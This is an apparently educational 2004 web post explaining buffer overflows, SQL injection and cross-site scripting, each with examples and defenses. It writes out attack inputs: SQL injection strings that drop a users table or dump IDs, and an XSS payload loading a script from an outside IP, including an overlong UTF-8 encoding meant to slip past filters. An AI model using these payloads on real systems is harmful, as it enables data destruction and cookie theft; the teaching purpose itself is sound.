2004年10月29日
  1. Introduction

The essential idea of a Buffer Overflow is based on putting too much information into undersized receptacles. Since the end result could crash the system or smack the memory stacks, Buffer Overflows are also referred to as smashing the stack. In many programming languages, the developer of a program allocates a certain amount of space for variables.

Attackers often try to overflow that space. The attacker gives the program more data than the developer has allocated for that variable. This extra data provided by the attacker is going to spill out, potentially changing the way the program runs and executing code on behalf of the attacker.

Based on the desired outcome and the relative sophistication of how the attack is launched, there are two types of Buffer Overflow attacks.

  1. To Crash the System:       Attacker sends a large amount of information for a given input variable. If proper error checking is not performed, the input will overwrite other data on the stack and potentially crash the system.
  2.  To Gain Access:       Attacker crafts their data so they can have arbitrary code run on the victim system which could lead to access.

Buffer Overflows are caused by not having proper bounds checking in the software. Users are asked what country they live in, an attacker might type in that he or she is a resident of %90 %90 %90 %90 and so on. Usually attackers enter raw elements of machine language code that the attack wants to execute on the target box.

 

  1. Example

 

To better understand how Buffer Overflows work, let’s examine how a normal  program manipulates and uses the memory stack. The stack is a location in memory where a running program places data associated with function calls. Every running process on your machine has its own version of the stack.

When a function call is made, the first things to get pushed on the stack are the

function call arguments. Then the system pushes the return pointer on the stack.

This is return pointer is crucial. The purpose of the return pointer is to indicate where in the calling program we are going to return after the function call finishes running. Remember the function call has a return statement? When it gets to the return statement, the program has to know where to go back in the main program to resume execution. The return pointer, stored on the stack, tells the system where to resume execution in the main program after the function call reaches its return statement. Next on the stack, the system allocates space for various local buffers; these are local variables of the function.

        |          buffer 2                |         button of memory
        |    ( local variable 2)         |             |
        |——————————- |             |   
        |         buffer 1                 |              |   fill direction
        |    ( local variable 1)         |             |
        |——————————–|             |
        |         return pointer         |             \/
        |——————————–|                
        |        function call args      |        Top of memory
        |                                     |

 

When programs don’t check and limit the amount of data copied into a variable’s assigned space, that variable’s space can be overflowed. When that buffer is  overflowed, the data placed in the buffer will go into the neighboring variables’ space and eventually into the return pointer space. Attackers take advantage of
this by precisely tuning the amount and contents of user input data placed into an overflow-able buffer.

If a user is utilizing the program as intended, the Buffer Overflow may never be noticed. It is not until someone enters in a large amount of data as input and the system crashes that the lack of bounds checking may be discovered.

To gain access to the system via a Buffer Overflow, the data that the attacker sends usually :

    1. Consists of machine specific bytecode (low level binary instructions) to execute a command.
    2. Contains a new address for the return pointer.
    3. Points back into the address space of the stack, causing the program to run the attacker’s instructions when it attempts to return from the function call.

In this case: The user data is written into the allocated buffer by the subroutine. If the data size is not checked, the return pointer can be overwritten by user data. Attacker exploits and places machine code in the buffer and overwrites the
return pointer. When function returns, attacker’s code is executed.

 

   |

   |      |          buffer 2                          |         button of memory
  \/      |    ( local variable 2)                   |             
  
à
  |——————————-  |             
  |       |         machine code:                  |         buffer 1 space is overwritten   
  |       |    execute(/bin/sh )                   |             
  |       |——————————– |             
   —-  |         return pointer                   |          return pointer is overwritten  

          |       to exec code                      |
   
      |——————————– |                
          |        function call args                |        Top of memory
          |                                               |

The return pointer plays a critical role in Buffer Overflow attacks. When executing a subroutine, the return pointer tells the system the address of the instruction needed for the next function. By manipulating the return pointer, the system will go to the memory address that contains the attacker code as opposed to the real address.

  1. Defense

 

All of these functions listed are associated with the C and C++ programming languages. C and C++ are particularly problematic with Buffer Overflows and you have to be very careful in programming in them.

strcpy

strncpy

strcat

sprintf

scanf

fgets

gets

getws

memcpy

memmove

 

Buffer Overflows are still possible (although far less likely) in Java, Perl, C#, .NET, and other languages. These other languages have more inherent defenses against Buffer Overflow conditions, in that they perform bounds checking before the application writes the data to a variable. However, you always need to code defensively and should always check the size of user input, regardless of the language you use.

 

Since the stack is designed to hold items associated with function calls and shouldn’t contain executable code, an alternative way to defend against some Buffer Overflows is to change the way the stack works on some machines so that the system will not execute code from the stack.

 

Solaris has a built-in option that can be turned on to implement a nonexecutable system stack. Add the following to /ect/system:

set noexec_user_stack=1

set nonexec_user_stack_log=1

  1. Introduction

The attacker enters special characters and pieces of a SQL statement into their user input to see if they can get them to run on the back-end database, querying or updating data in an unauthorized fashion. There are some set attacks to try, but for the most part, SQL Injection is a trial and error attack with the goal of being able to do something an outsider should not be able to do.

select [field] from [table] where [variable] = ‘[value]’;

update [table] set <variable> = ‘<value>’;

With SQL Injection, the attacker tries to enter many special quote characters to see if they can make the application supply more information. Using SQL Injections involves following three steps.

In addition to the single quotes and double quotes, an attacker may try to enter in many different other characters to see if they can get the back-end database to send some information in return. They might even add individual elements of SQL syntax, including additional select or update statements. The goal is to get the database to operate in a way other than how it was intended to operate by the developers.

 

The most useful element in this list is probably the double dash (–). These characters act as a comment delimiter, and therefore, can be used to tell the database to ignore anything passed to it after the user’s input. That’s quite helpful in avoiding syntax errors induced by SQL Injection attacks.

 

  1. Example

 Suppose we have a Web Application that asks the user for a username, and then looks up the appropriate user ID in a SQL database. Our system will select the ID number from the users table where the name matches what the user types in as a username. The select statement appears on the slide.

select id from users where name = ‘[value]’;

 
Suppose an attacker types in a [value] of Fred followed by a single quote. The Web Application inserts the user input including the single quote into the [value] position of the select statement.

Fred’

 
The resulting SQL has a syntax error. The two single quotes after Fred will cause the SQL parser in the database to generate an error message. When attackers see syntax error, they assume they discovered a SQL Injection vulnerability.

select id from users where name = ‘Fred’’;


This is certainly interesting, but let’s see what an attacker can do once he/she has witnessed an error message based on the single quote.

 

After discovering the error message, the attacker types:

Fred’; drop table users;–

 
The Fred and single quote are followed by a semicolon. As far as the database is concerned, that semicolon will terminate the SQL statement it gets. However, the database will think it has received another SQL statement. This second statement tells it to drop the users table. This statement ends with a semicolon, followed by two dashes. The dashes are required to indicated that the remainder of the line (which will be a ’; applied by the Web application itself) are just part of a comment. Otherwise, the attacker will get another syntax error. The attacker doesn’t want syntax errors now; he/she wants to get SQL statements to execute on the target.

 

The resulting SQL statement:

select id from users where name = ‘Fred’; drop table users;–’;


The drop statement will implement a denial of service attack because the user table is now gone, thus preventing users from authenticating.

 

In addition to the previous attack,  attacker can  grab More Data. This time, the attacker types a username of

’ or 1=1;–  

because 1=1 is always true , so the database will think the username is ‘’ or TRUE. This will retrieve all user ID numbers from the database. Now, the first user created in a user table is usually the administrator of the system. Therefore, if an application gets a list of all users, it will likely just peel off the first user in the list. Without knowing the administrator’s name, the attacker can select the administrator’s user ID number by typing in a name of ‘ or 1=1;–. That could be very useful to the attacker.

 

 

  1. Defense

 

To defend against these attacks, you must build your Web Application so the server-side filters input because client-side filtering is too easy to bypass. By using pre-canned queries(for example , preparedstatement), the Web Application will not accept any new commands from the user and the impact of this attack will be minimized.

 

 

 

  1.  Introduction

 

As you know, SQL Injection attacks the back-end database by going through user input. Cross Site Scripting is an attack against the user’s browsers by going through the front end. Essentially the attacker tries to trick the end user to send data they should not be sending.

Cross Site Scripting allows an attacker to steal information (such as cookies) from users of a vulnerable Web site. So, if your online bank is vulnerable, an attacker might be able to steal your banking cookies.

  1. Example


Cross Site Scripting involves sending scripting code (usually JavaScript or VBScript) to a Web Application that sends data back to the browser. The Web server has an application that reflects user input back to a Web browser. When the code gets to the browser, it is executed.

 

For example, upon reaching a browser, the following script opens a dialog box.

 

%22%2Balert(%27Appscan%20-%20CSS%20attack%20may%20be%20used%27)%2B%22

 

Following is another example , which is more powerful because it will run any javascript from  another website in your current security context.

 

%3Cscript%20src%3D%22http%3A//61.129.115.50/e.js%22%3E%3C/script%3E

 

In user’s browser , it will be:

<script src=”http://61.129.115.50/e.js”></script>

 

 

  1. Defense

Remember, to defend against Cross Site Scripting attacks, you must build your Web Application so server-side filters input because client-side filtering is too easy to bypass.

Characters on the server side that can be used to implement Cross Site Scripting:

=   > < ‘ “ () ; &


So, Web Application Filters should  filter Single quotes, double quotes, semicolons, asterisks, percents, underscores, and other shell and meta-scripting characters.

 

But, before doing filter, you should decode the user input from URL_encoding to plain text. It is because some skilful attack will encoding their malicious cross-script with different schema. For example, the script below :

<script src=”http://61.129.115.50/e.js”></script>

 

Also can be encoded to following  with dynamic length UTF-8 schema:

%c0%bcscript%20src%c0%bd%22http://61.129.115.50/e.js%22%c0%be%c0%bc/script%c0%be

 

So, it is unfeasible to filter against the encoded characters. Instead, you should filter against  the plain text.